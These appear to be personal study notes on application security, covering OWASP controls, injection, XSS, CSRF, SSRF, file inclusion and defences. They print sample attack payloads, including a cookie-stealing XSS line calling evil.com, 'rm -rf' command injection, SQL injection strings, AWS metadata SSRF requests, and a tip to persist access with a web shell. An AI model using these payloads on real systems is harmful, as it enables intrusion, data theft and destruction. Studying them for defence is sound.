Application Security

Application Security #

Software Assurance Best Practices #

The Software Development Lifecycle #

  • Planning > Requirements > Design > Coding > Testing > Training & Transition > Ongoing Ops/maintenance > End Of Life (Decommission)
  • dev env > for devs
  • test env > QA/Preprod
  • staging > tested but awaiting deployment
  • prod

DevSecOps and DevOps #

  • Sec becomes a shared responsibility, just like the Ops.

Designing and Coding For Security #

Secure Coding Practices #

  • Open Worldwide Application Security Project (OWASP) - best resource for secure coding practices.
  • Top Proactive Security Controls by OWASP
    • Define Security Requirements
    • Leverage Security Frameworks
    • Secure Database Access
    • Encode an Escape Data
    • Validate all inputs
    • Implement DIgital Identity
    • Enforce Access Controls
    • Priotect Data Everywhere
    • Implement Security Logging and Monitoring
    • Handle all errors and exceptions
  • OWASP Proactive Controls
  • OWASP Quick Reference

API Security #

Software Security Testing #

Analyzing and Testing Code #

  • Static Code Analysis - reads the actual code to find flaws in it
  • Dynamic Code Analysis - runs the code to find flaws in it
  • Fuzzing - send random data to application to see how it handles unexpected data

Injection Vulnerabilitiies #

SQL Injection Attacks #

  • Is also a class under Code Injection attacks.
  • Happens when User Input is directly used in a SQL Query
    • Query Used SELECT * FROM Products WHERE Name LIKE '%user_input_value%'
    • User Input cola'; SELECT * FROM users; -- instead of just cola
    • Results in : SELECT * FROM Products WHERE Name LIKE 'cola'; SELECT * FROM users; --, so 2 SQL queries
    • However, the results might not be returned/visible to the user, solution? Blind SQL Injection

    2 Blind SQL Injection Types #

    • Blind Content-Based SQL Injection
      • First: Validate if SQL Injection is possible
      • Asume we expect an UserID as User input, and let’s assume 123 is a vailid UserID.
      • Query Used SELECT * FROM Users WHERE Id = '%user_input_value%'
      • Specify 123' OR 1=1 which results in SELECT * FROM Users WHERE Id = '123' OR 1=1
      • This returns multiple rows, did it break anything on the front end? No ? Good ✅
        • You might not see the multiple rows due to business logic,but it DID EXECUTE properly (you get feedback that the query was valid)
      • Now specify 123' OR 1=2 which results in SELECT * FROM Users WHERE Id = '123' OR 1=2
      • This returns no row, did it break anything on the front end aside of just saying that there were no results? Yes ? Good ✅
      • We can now asume that SQL injection is possible.
      • Now you can inject other querys that ALTER data. The baseline feedback if it was succesful or not your query is established in previous steps. Based on the CONTENT you were able to validate if your queries are working
    • Blind Time-Based SQL Injection - (example in Microsoft SQL)
      • First: Validate if SQL Injection is possible
      • Asume we expect an UserID as User input, and let’s assume 123 is a vailid UserID.
      • Specify 123'; WAITFOR DELAY '00:00:15' which results in SELECT * FROM Users WHERE Id = '123'; WAITFOR DELAY '00:00:15'
      • If the query now takes 15 seconds to execute, we can be quite confident that the SQL injection is possible. ✅.
      • ⚠️ Now this “timer” trick, can be also used to signal back if something was ’true’ (if true, wait 15 seconds, else not).
        • An example, assuming the password is cleartext
          For each character in the password
            For each letter in the alphabet
              if the current character is equal to the current letter, wait 15 seconds before returning results
        

Code Injection Attacks #

  • Examples
    • LDAP Injection Attack - Embed commands in text as part of a LDAP query
    • XML Injection Attack - Embed code in XML text
    • DLL Injection Attack - Force an application to load a (malicious) DLL that was not a part of the process.
    • Cross-Site-Scripting (XSS)

Command Injection Attacks #

  • When an application executes a command against the OS, there is a potential for exploitation.
  • Example
    • You have a webpage to create a user and the end user must specify a username in a form
    • On creation, the app might run a command to create a folder for that new user system('mkdir /home/students/<mynewusername>)
    • What if the user specifies mynewusername && rm -rf home
    • Now we have piped again additional commands
    • ⚠️ Note that there is again no feedback/response, but you could try to have a script use a time or a curl command to post back the output to a webserver you own.

Exploiting Authentication Vulnerabilities #

Password Authentication #

  • Flaw: Once an attacher knows a password, they can keep using it for access.
  • Risk: Social Engineering, unencrypted traffic, password dumps from hacked sites, brute force, guessing

Session Attacks #

  • Cookie Stealing & Manipulation
    • Steal an existing (authentication) session
    • After auth, the session token is stored in browser cookie for further request auth
    • How to steal it?
      • Unencrypted network traffic
      • Malware in browser
      • On Path attack - Impersonate target site, forward the actual credentials to target site, return the request to the user with the cookie, but now you also have that cookie. (But you know then the credentials either way?)
    • Once you have the cookie
      • Session Replay Attack - The attacker reuses the session of the target
    • Defenses
      • Mark Cookie SECURE - tells the browser to never send it over unencrypted requests
    • NTLM pass-the-hash
      • NTLM hash is the hash function in windows to store user’s passwords.
      • So if you can intercept this hash, instead of the username/password, you can also authenticate in/with windows.
  • Unvalidated Redirects
    • Example: example.com/order?redirect_ok=https://evilsite.com and then the evil site can impersonate and ask to re authenticate again or whaterver
    • Example: example.com/login?login_ok=https://evilsite.com, then after login it might call https://evilsite.com?csrf_token=<somevalue> or the Referer: https://bank.com/transfer?sessionid=abc123&csrf_token=xyz789 header

Exploiting Authorization Vulnerabilities #

Insecure Direct Object References #

  • example.com/orders?id=100 shows your order and you can just do example.com/orders?id=101 and see anothers order.

Directory Traversal #

  • The web server allows to navigate the directory and list all files - bad configuration
    • Appache Server / NGINX - www.example.com/../../../etc/shawdow (so you just path yourself outside the web folder)
    • Open AWS S3 bucket
    • It helps to know on what server the site is host to then learn about their (Default) config

File Inclusion #

  • Next level Directory Traversel - you don’t just read a file, you execute it
  • Run a file from the server’s file system: www.example.com/?include=../../../etc/attack.sh
  • Run a file from an external place: www.example.com/?include=www.evilsite.com/script.sh
  • Attack might then upload a Web Shell to comfortably run commands and see output
    • ✅ The webshell uses HTTPS, so it hides even better.
  • TIP: Patch the vulnerability and persist your access with the web shell

Privilege Escalation #

  • Upgrade your user to have more rights or higher group
  • Dirty Cow - Linux vulnerability

Exploiting Web Application Vulnerabilities #

Cross-Site Scripting XSS #

when an attacker does HTML injection (inject their own HTML into a webpage)

Reflected XSS #

  • When an application allows “reflected input”
  • Anywhere, where a user can provide “input” that later would be viewed by another user there is a XSS oppertunity.
  • Example https://news.com/search.php?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script> assuming that the search page would (without validation) render the search query q in the html (Search results for q.)

Stored/Persistent XSS #

  • Here the XSS script is stored server/side
  • Example: I leave a product review with content Good product! <script>alert('oi')</script>
    • If this input is not sanatized or cleaned, it will store this string in the database.
    • When someone else views the product, and all comments are rendered underneath, the <script>alert('oi')</script> part will be seen as actual HTML and the script tag will execute.
    • Now you can replace alert('oi') with javascript that will log your keys, steal your cookies, etc… cause you are now runng a script under the domain of the trusted site.
  • ⚠️ Think of other ways where you can “inject HTML” on the request route or from a browser plugin.
  • Solutions

Request Forgery #

  • Exploit trust relationships and try users to unwittingly execute commands against a remote server, there are 2 types.

Cross-Site Request Forgery CSRF/XSRF #

  • Assume you are logged in to mybank.com.
  • You then visit a dangerous site or link evil.com
  • When you click on a button on evil.com it might trigger a request to mybank.com
  • If you are stil loggedin to mybank.com, the request could succeed because the browser would use any cookies linked to the mybank.com site.
  • Example HTMl on the evil.com site
    <!-- Hidden on evilsite.com -->
    <form action="https://somebank.com/transfer" method="POST" id="malicious-form">
        <input type="hidden" name="to_account" value="999999">
        <input type="hidden" name="amount" value="5000">
        <!-- Note: no CSRF token! -->
    </form>

    <script>
        // Automatically submit when page loads
        // document.getElementById('malicious-form').submit();
    </script>
  • Defenses: secure tokens, check in reffering url to only accept urls that originate from own domain.

Server-Side Request Forgery SSRF #

  • Here we want the server/back-end to make an web call to a url.
  • Let’s say you have a web application that takes an URL as input
  • That URL would be used to fetch remote information, and it would return that in some form.
  • Imagine for that URL, you specifcy a URL or IP address that would be not publicly available, but only to your back-end server
  • Example: GET /preview?url=http://localhost:8080/admin/users
  • Example: GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ on AWS exposes IAM credentials
  • Example: GET /preview?url=file:///etc/passwd

Application Security Controls #

Input Validation #

  • Protects agains Injection attackes, XSS, XSRF, SSRF and many more.
  • Best method: Allow Listing
    • When you expect an age, only allow values between 0 - 125, anything else get rejected.
    • Remember, always test at least server side.
  • Next best method: Deny Listing (Cause often describing only what is allow is to wide)
    • Look and block for SQL code, HTML tags, etc..
  • Parameter Pollution - a trick attackers try to get around input validation/filtering
    • Example www.example.com/status?account=1&account=1' or 1=1;--
      • Here the hope is that validiation only happens on the first specification of the parameter, but not the second.
      • This behaviour is very tech specific (PHP, ExpressJS, ASP, Python Flask,….) so the hack really depends on the web server stack.
      • Example : Authentication Bypass - it might take the right passwor for user guest but think it was user admin
      POST /login
      user=admin&pass=wrong&user=guest&pass=correct
      
      • Example : Rate Limiting bypass
      GET /api/data?user_id=victim&user_id=attacker
      

Web Application Firewalls (WAFS) #

  • A WAF sits in front of the actual web server and acts like a firewall but on application level. It can inspect requests and intercept/filter anything suspicious, which would be another layer of security, hopefully blocking this that the eventual backend is not handling.
  • Note that the client has a TLS connection to the WAF, so the WAF can inspect all traffic, but then forwads the request as a new TLS connection to the origins server.

Parameterized Queries #

  • Input is not put directly into the SQL string, but parameterized, this way the entire input data is pure data, not a part of the SQL text. So it’s uses as a literal string. Unescapable (is the theory)

Sandboxing #

  • Run app in a controlled or isolated environment, preventing interaction with surroundings.

Code Security #

  • Securing the code itself
  • Code Signing - Sign code by devs to confirm authencity (PGP signature for example)
  • Code Reuse - Monitor and mainting even higher standards for reused code (e.g. SDKs)
  • Software Diversity - Watch for single points of failuree
  • Code Repositories - versioning and history is great for audit
  • Integrity Measurement - Make sure that approved code its hash matches to the hash being deployed
  • Application Resilience - through 2 ways
    • Scalability - designed so extra resources can be added
    • Elasticty - a step further, it provisions extra resources when it needs it

Secure Coding Practices #

Source Handling Comments #

Remove code comments in production code (for the non compiled code, like JS)

Error Handling #

Be cautious that error messages dont give to much detail, no debug mode in prod!

Hard-Coded Credentials #

  • Well intentioned backdoor - Once the credentials are known, any deployed version is at risk
  • Non intentioned - API keys etc..

Package Monitoring #

Monitor your dependencies and packages,

Memory Management #

  • Resource Exhaustion - Can make the application crash (e.g. memory leak)
  • Pointer Deference - Memory Pointers, when a pointer points to a memory spot with unkown value it can crash or worst case bypass validation
  • Buffer Overflows - Attack tricks the app to handle more data then it has assigned.
    • Memory Injection: Goal is to overwrite memory with instructions that might be executed by another process running on the system

Race Conditions #

  • When Security of the code depends upon a sequence of events within the system
    • Time-Of-Check (TOC) - When a system verifies access permissions or other security controls.
    • Time-Of-Use (TOU) - When the system access the resources or permission that was granted.
    • Target of Evaluation (TOE) - refers to component/system being evaluated or tested for potential vulnerabilities.
    • TIme-Of-Check-To-Time-Of-Use issue is a race condition when the app checks the permission too far ahead of a resource request.
    • Example: If an attacker logs in and has admin rights via a web interface, leaves that session open for a day, but within a hour his admin rights are taken away, this change might not be observed yet everywhere, cause a session is open and permissions were already evaluated.

Unprotected APIs #

  • APIs should be authenticated and make sure that at every endpoint AutH and AuthZ is happening.

Automation and Orchestration #

SOAR: Security Orchestration, Automation, and response platforms.

Automation can remove human error and make security easier and more scaleable.

Use Cases of Autmation and Scripting #

  • Examples: User provisioning, resource provisioning, guard rails, security groups, ticket creation, escalation, enabled/disabling services and access, CI & testing, Integrations and APIs
    • Guard Rails: Enforce policy controls and prevent violations of security protocols

Benefits of Automation and Scripting #

  • Less chance for human error
  • Consistency in how things are done
  • Standerization
  • Scale in secure manner
  • Speed up

Other Considerations #

  • Complexity, Cost, Single point of failure, Technical Debt, Ongoing supportability

Attacks Overview/Comparison #

AttackWhat It IsWhat It TargetsTypical ImpactMitigation
🧩 Cross-Site Scripting (XSS)Injecting malicious JavaScript into web pages viewed by others.Browser / Client-sideSession theft, credential theft, defacement, malware delivery.Input validation, output encoding, Content Security Policy (CSP).
🔗 Cross-Site Request Forgery (CSRF)Tricks a logged-in user’s browser into sending unwanted requests.User session / AuthenticationUnauthorized actions (e.g., changing passwords, money transfers).Use anti-CSRF tokens, SameSite cookies, re-authentication.
💉 SQL Injection (SQLi)Injecting malicious SQL commands through user input fields.DatabaseData theft, modification, or deletion.Use parameterized queries, ORM frameworks, input validation.
📜 Command InjectionInjecting OS commands through input that’s passed to system calls.Server / OSFull server compromise, remote code execution.Input sanitization, avoid shell calls, least privilege.
🗝️ Authentication BypassExploiting weak login logic or missing checks.Login / Session managementUnauthorized access.Strong authentication logic, MFA, secure session handling.
🔐 Broken Access ControlUsers performing actions beyond their authorization.Application logicData exposure or privilege escalation.Enforce server-side authorization checks.
📦 Insecure Direct Object Reference (IDOR)Manipulating URLs or parameters to access unauthorized data.API / File pathsData leaks, privilege escalation.Validate user authorization for each object reference.
🧱 Security MisconfigurationUsing default passwords, debug modes, or exposed error messages.Application / ServerData exposure, easier exploitation.Harden configs, disable defaults, patch systems.
🕵️‍♂️ Sensitive Data ExposureStoring or transmitting data insecurely (no encryption, weak crypto).Data in transit or restCredential or personal data theft.Use TLS, encrypt sensitive data, mask logs.
🧬 XML External Entity (XXE)Injecting malicious XML input that accesses server files or systems.XML parsersFile disclosure, SSRF, DoS.Disable external entity resolution, use safe parsers.
🌐 Server-Side Request Forgery (SSRF)Forcing the server to make requests to internal or external systems.Server / Internal networkInternal service exposure, metadata theft.Validate URLs, restrict outbound requests, allowlist destinations.
💣 Denial of Service (DoS / DDoS)Overwhelming a service with traffic or resource exhaustion.AvailabilityService outage, business disruption.Rate limiting, WAF, CDN protection.
📨 Email Injection / SMTP InjectionInjecting mail headers into web forms to send spam or spoofed emails.Mail serverSpam relay, phishing attacks.Sanitize form input, validate email fields.
🔄 Insecure DeserializationInjecting manipulated serialized objects into the app.Application logicRemote code execution, privilege escalation.Validate input, use safe serialization formats (JSON), sign objects.
⚙️ Path TraversalUsing ../ sequences to access files outside allowed directories.FilesystemFile theft or system compromise.Canonicalize paths, restrict file access.
📡 Remote File Inclusion (RFI) / Local File Inclusion (LFI)Including malicious code files in server-side scripts.Web serverRemote code execution.Validate file paths, disable remote includes.
🎭 ClickjackingTricking users into clicking hidden UI elements (iframes, overlays).Browser / UIForced actions, phishing.X-Frame-Options or CSP frame-ancestors.
🧾 API Abuse / Parameter TamperingModifying parameters or API calls to gain extra privileges.APIsData manipulation, privilege escalation.Enforce strict server-side validation and authorization.
🪞 Man-in-the-Middle (MITM)Intercepting traffic between user and server.Network / TransportData theft, credential capture.TLS everywhere, certificate pinning.
🧍 Insider ThreatLegitimate users abusing access.Internal systemsData theft, sabotage.Least privilege, monitoring, auditing.

🧩 Grouped by OWASP Top 10 (2021) #

OWASP CategoryExample Attacks
A01: Broken Access ControlIDOR, privilege escalation
A02: Cryptographic FailuresSensitive data exposure, weak encryption
A03: InjectionSQLi, Command injection, LDAP injection
A04: Insecure DesignPoor logic allowing abuse
A05: Security MisconfigurationDefault creds, open S3 buckets
A06: Vulnerable ComponentsOutdated libraries, unpatched code
A07: Identification & Authentication FailuresWeak login, session hijacking
A08: Software & Data Integrity FailuresInsecure deserialization, supply chain attacks
A09: Security Logging & Monitoring FailuresNo audit trail for breaches
A10: Server-Side Request Forgery (SSRF)Forcing internal requests

🔍 Visual Mental Model (Simplified Layers) #

───────────────────────────────
 🧑‍💻 CLIENT-SIDE ATTACKS
───────────────────────────────
• XSS
• CSRF
• Clickjacking

───────────────────────────────
 ⚙️ SERVER-SIDE ATTACKS
───────────────────────────────
• SQL Injection
• Command Injection
• Path Traversal
• XXE
• Insecure Deserialization
• SSRF
• File Inclusion

───────────────────────────────
 📡 NETWORK / TRANSPORT ATTACKS
───────────────────────────────
• MITM
• DoS / DDoS

───────────────────────────────
 🔑 LOGIC & ACCESS ATTACKS
───────────────────────────────
• Broken Access Control
• Authentication Bypass
• IDOR
• API Abuse

───────────────────────────────
 🔐 DATA & CONFIGURATION FAILURES
───────────────────────────────
• Sensitive Data Exposure
• Security Misconfiguration
• Vulnerable Components
───────────────────────────────